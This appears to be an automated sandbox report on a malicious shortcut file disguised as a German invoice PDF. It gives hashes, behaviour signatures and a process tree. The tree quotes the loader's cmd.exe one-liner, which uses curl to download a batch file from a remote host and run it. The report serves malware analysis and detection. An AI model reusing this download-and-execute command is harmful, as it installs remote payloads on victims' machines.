Analysis

  • max time kernel
    298s
  • max time network
    290s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    22/08/2026, 02:54

General

  • Target
    Rechnung Nr. 2026-4697.pdf.lnk
  • Size 1KB
  • Sample260822-decsrazgrb
  • SHA256 2e52b40877d2e8c8bf4c76042241f78ed11809c2088af14001f44bcaeb3052f9
  • MD5 SHA1 SHA512 TLSH
Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\Rechnung Nr. 2026-4697.pdf.lnk"
    1⤵
    • Checks computer location settings
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:1248
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c curl.exe -s -o "C:\Users\Admin\AppData\Local\Temp\s.bat" "http://dl.myresult.co.za:8071/9x7k2q/g3.bat"& "C:\Users\Admin\AppData\Local\Temp\s.bat" general 48ei9aun
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3852
      • C:\Windows\system32\curl.exe
        curl.exe -s -o "C:\Users\Admin\AppData\Local\Temp\s.bat" "http://dl.myresult.co.za:8071/9x7k2q/g3.bat"
        3⤵
          PID:4772

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads